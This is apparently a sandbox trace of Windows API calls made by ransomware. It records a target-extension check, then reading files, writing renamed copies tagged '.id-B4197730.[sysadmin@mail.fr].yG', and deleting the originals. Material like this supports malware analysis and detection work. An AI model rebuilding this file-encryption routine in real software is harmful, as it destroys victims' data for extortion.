	[0043.757] lstrlenW (lpString=".xls") returned 4
	[0043.757] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0043.757] lstrlenW (lpString=".xlsx") returned 5
	[0043.757] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0043.757] lstrlenW (lpString=".ppt") returned 4
	[0043.757] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0043.757] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0043.757] lstrlenW (lpString=".zip") returned 4
	[0043.757] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0043.757] lstrlenW (lpString=".rar") returned 4
	[0043.757] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0043.757] lstrlenW (lpString=".bz2") returned 4
	[0043.757] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0043.757] lstrlenW (lpString=".7z") returned 3
	[0043.757] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0043.757] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0043.757] lstrlenW (lpString=".dbf") returned 4
	[0043.757] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0043.757] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0043.757] lstrlenW (lpString=".1cd") returned 4
	[0043.757] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0043.758] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0043.758] lstrlenW (lpString=".jpg") returned 4
	[0043.758] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0043.758] lstrcmpiW (lpString1=".rtf", lpString2=".yG") returned -1
	[0043.758] lstrlenW (lpString="eula.rtf") returned 8
	[0043.758] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0043.758] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=5827) returned 1
	[0043.758] CloseHandle (hObject=0x2ec) returned 1
	[0043.758] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 0x80
	[0043.758] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0043.758] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0043.758] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.758] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.758] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0043.759] GetLastError () returned 0x0
	[0043.759] ReadFile (in: hFile=0x2ec, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x16c3, lpOverlapped=0x0) returned 1
	[0044.140] WriteFile (in: hFile=0x35c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x16d0, lpOverlapped=0x0) returned 1
	[0044.141] ReadFile (in: hFile=0x2ec, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0044.141] WriteFile (in: hFile=0x35c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xe4, lpOverlapped=0x0) returned 1
	[0044.141] SetEndOfFile (hFile=0x35c) returned 1
	[0044.141] CloseHandle (hObject=0x35c) returned 1
	[0044.142] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.142] SetEndOfFile (hFile=0x2ec) returned 1
	[0044.142] CloseHandle (hObject=0x2ec) returned 1
	[0044.142] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0044.143] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 1
	[0044.143] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0044.143] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0044.143] lstrlenW (lpString=".doc") returned 4
	[0044.143] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0044.143] lstrlenW (lpString=".docx") returned 5
	[0044.143] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0044.143] lstrlenW (lpString=".pdf") returned 4
	[0044.143] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0044.143] lstrlenW (lpString=".xls") returned 4
	[0044.143] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0044.143] lstrlenW (lpString=".xlsx") returned 5
	[0044.143] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0044.143] lstrlenW (lpString=".ppt") returned 4
	[0044.143] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0044.143] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0044.143] lstrlenW (lpString=".zip") returned 4
	[0044.143] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0044.143] lstrlenW (lpString=".rar") returned 4
	[0044.143] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0044.143] lstrlenW (lpString=".bz2") returned 4
	[0044.143] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0044.143] lstrlenW (lpString=".7z") returned 3
	[0044.143] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0044.143] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0044.143] lstrlenW (lpString=".dbf") returned 4
	[0044.143] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0044.144] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0044.144] lstrlenW (lpString=".1cd") returned 4
	[0044.144] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0044.144] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0044.144] lstrlenW (lpString=".jpg") returned 4
	[0044.144] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0044.144] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0044.144] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0044.144] lstrlenW (lpString=".doc") returned 4
	[0044.144] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0044.144] lstrlenW (lpString=".docx") returned 5
	[0044.144] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0044.144] lstrlenW (lpString=".pdf") returned 4
	[0044.144] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0044.144] lstrlenW (lpString=".xls") returned 4
	[0044.144] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0044.144] lstrlenW (lpString=".xlsx") returned 5
	[0044.144] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0044.144] lstrlenW (lpString=".ppt") returned 4
	[0044.144] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0044.144] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0044.144] lstrlenW (lpString=".zip") returned 4
	[0044.144] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0044.144] lstrlenW (lpString=".rar") returned 4
	[0044.144] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0044.144] lstrlenW (lpString=".bz2") returned 4
	[0044.144] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0044.144] lstrlenW (lpString=".7z") returned 3
	[0044.144] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0044.144] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0044.144] lstrlenW (lpString=".dbf") returned 4
	[0044.144] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0044.144] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0044.144] lstrlenW (lpString=".1cd") returned 4
	[0044.144] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0044.144] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0044.144] lstrlenW (lpString=".jpg") returned 4
	[0044.145] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0044.145] lstrcmpiW (lpString1=".rtf", lpString2=".yG") returned -1
	[0044.145] lstrlenW (lpString="eula.rtf") returned 8
	[0044.145] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0044.145] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=3069) returned 1
	[0044.145] CloseHandle (hObject=0x2ec) returned 1
	[0044.145] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 0x80
	[0044.145] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0044.145] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0044.145] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.145] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.145] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0044.146] GetLastError () returned 0x0
	[0044.146] ReadFile (in: hFile=0x2ec, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0xbfd, lpOverlapped=0x0) returned 1
	[0044.236] WriteFile (in: hFile=0x35c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xc00, lpOverlapped=0x0) returned 1
	[0044.237] ReadFile (in: hFile=0x2ec, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0044.237] WriteFile (in: hFile=0x35c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xe4, lpOverlapped=0x0) returned 1
	[0044.237] SetEndOfFile (hFile=0x35c) returned 1
	[0044.248] CloseHandle (hObject=0x35c) returned 1
	[0044.250] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.250] SetEndOfFile (hFile=0x2ec) returned 1
	[0044.251] CloseHandle (hObject=0x2ec) returned 1
	[0044.251] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0044.251] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 1
	[0044.251] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0044.251] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0044.251] lstrlenW (lpString=".doc") returned 4
	[0044.251] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0044.251] lstrlenW (lpString=".docx") returned 5
	[0044.251] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0044.251] lstrlenW (lpString=".pdf") returned 4
	[0044.251] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0044.251] lstrlenW (lpString=".xls") returned 4
	[0044.251] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0044.251] lstrlenW (lpString=".xlsx") returned 5
	[0044.251] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0044.251] lstrlenW (lpString=".ppt") returned 4
	[0044.251] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0044.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0044.252] lstrlenW (lpString=".zip") returned 4
	[0044.252] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0044.252] lstrlenW (lpString=".rar") returned 4
	[0044.252] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0044.252] lstrlenW (lpString=".bz2") returned 4
	[0044.252] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0044.252] lstrlenW (lpString=".7z") returned 3
	[0044.252] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0044.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0044.252] lstrlenW (lpString=".dbf") returned 4
	[0044.252] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0044.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0044.252] lstrlenW (lpString=".1cd") returned 4
	[0044.252] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0044.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0044.252] lstrlenW (lpString=".jpg") returned 4
	[0044.252] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0044.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0044.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0044.252] lstrlenW (lpString=".doc") returned 4
	[0044.252] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0044.252] lstrlenW (lpString=".docx") returned 5
	[0044.252] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0044.252] lstrlenW (lpString=".pdf") returned 4
	[0044.252] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0044.252] lstrlenW (lpString=".xls") returned 4
	[0044.252] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0044.252] lstrlenW (lpString=".xlsx") returned 5
	[0044.252] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0044.252] lstrlenW (lpString=".ppt") returned 4
	[0044.252] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0044.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0044.253] lstrlenW (lpString=".zip") returned 4
	[0044.253] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0044.253] lstrlenW (lpString=".rar") returned 4
	[0044.253] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0044.253] lstrlenW (lpString=".bz2") returned 4
	[0044.253] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0044.253] lstrlenW (lpString=".7z") returned 3
	[0044.253] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0044.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0044.253] lstrlenW (lpString=".dbf") returned 4
	[0044.253] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0044.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0044.253] lstrlenW (lpString=".1cd") returned 4
	[0044.253] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0044.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0044.253] lstrlenW (lpString=".jpg") returned 4
	[0044.253] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0044.253] lstrcmpiW (lpString1=".html", lpString2=".yG") returned -1
	[0044.253] lstrlenW (lpString="DHtmlHeader.html") returned 16
	[0044.253] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0044.253] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=16118) returned 1
	[0044.253] CloseHandle (hObject=0x2ec) returned 1
	[0044.254] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 0x80
	[0044.254] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0044.254] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0044.254] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.254] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.254] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0044.254] GetLastError () returned 0x0
	[0044.254] ReadFile (in: hFile=0x2ec, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x3ef6, lpOverlapped=0x0) returned 1
	[0044.344] WriteFile (in: hFile=0x34c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x3f00, lpOverlapped=0x0) returned 1
	[0044.344] ReadFile (in: hFile=0x2ec, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0044.345] WriteFile (in: hFile=0x34c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xf4, lpOverlapped=0x0) returned 1
	[0044.345] SetEndOfFile (hFile=0x34c) returned 1
	[0044.345] CloseHandle (hObject=0x34c) returned 1
	[0044.346] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.346] SetEndOfFile (hFile=0x2ec) returned 1
	[0044.346] CloseHandle (hObject=0x2ec) returned 1
	[0044.347] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0044.347] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 1
	[0044.347] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0044.347] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0044.347] lstrlenW (lpString=".doc") returned 4
	[0044.347] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0044.347] lstrlenW (lpString=".docx") returned 5
	[0044.347] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0044.347] lstrlenW (lpString=".pdf") returned 4
	[0044.347] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1
	[0044.347] lstrlenW (lpString=".xls") returned 4
	[0044.347] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1
	[0044.347] lstrlenW (lpString=".xlsx") returned 5
	[0044.347] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1
	[0044.347] lstrlenW (lpString=".ppt") returned 4
	[0044.347] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1
	[0044.347] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0044.347] lstrlenW (lpString=".zip") returned 4
	[0044.347] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1
	[0044.347] lstrlenW (lpString=".rar") returned 4
	[0044.348] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1
	[0044.348] lstrlenW (lpString=".bz2") returned 4
	[0044.348] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0044.348] lstrlenW (lpString=".7z") returned 3
	[0044.348] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0044.348] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0044.348] lstrlenW (lpString=".dbf") returned 4
	[0044.348] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0044.348] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0044.348] lstrlenW (lpString=".1cd") returned 4
	[0044.348] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0044.348] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0044.348] lstrlenW (lpString=".jpg") returned 4
	[0044.348] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1
	[0044.348] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0044.348] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0044.348] lstrlenW (lpString=".doc") returned 4
	[0044.348] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0044.348] lstrlenW (lpString=".docx") returned 5
	[0044.348] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0044.348] lstrlenW (lpString=".pdf") returned 4
	[0044.348] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1
	[0044.348] lstrlenW (lpString=".xls") returned 4
	[0044.348] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1
	[0044.348] lstrlenW (lpString=".xlsx") returned 5
	[0044.348] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1
	[0044.348] lstrlenW (lpString=".ppt") returned 4
	[0044.348] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1
	[0044.348] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0044.348] lstrlenW (lpString=".zip") returned 4
	[0044.348] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1
	[0044.348] lstrlenW (lpString=".rar") returned 4
	[0044.348] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1
	[0044.348] lstrlenW (lpString=".bz2") returned 4
	[0044.348] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0044.348] lstrlenW (lpString=".7z") returned 3
	[0044.348] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0044.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0044.349] lstrlenW (lpString=".dbf") returned 4
	[0044.349] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0044.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0044.349] lstrlenW (lpString=".1cd") returned 4
	[0044.349] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0044.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38
	[0044.349] lstrlenW (lpString=".jpg") returned 4
	[0044.349] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1
	[0044.349] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0044.349] lstrlenW (lpString="Parameterinfo.xml") returned 17
	[0044.349] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0044.349] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=93314) returned 1
	[0044.349] CloseHandle (hObject=0x2ec) returned 1
	[0044.349] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 0x80
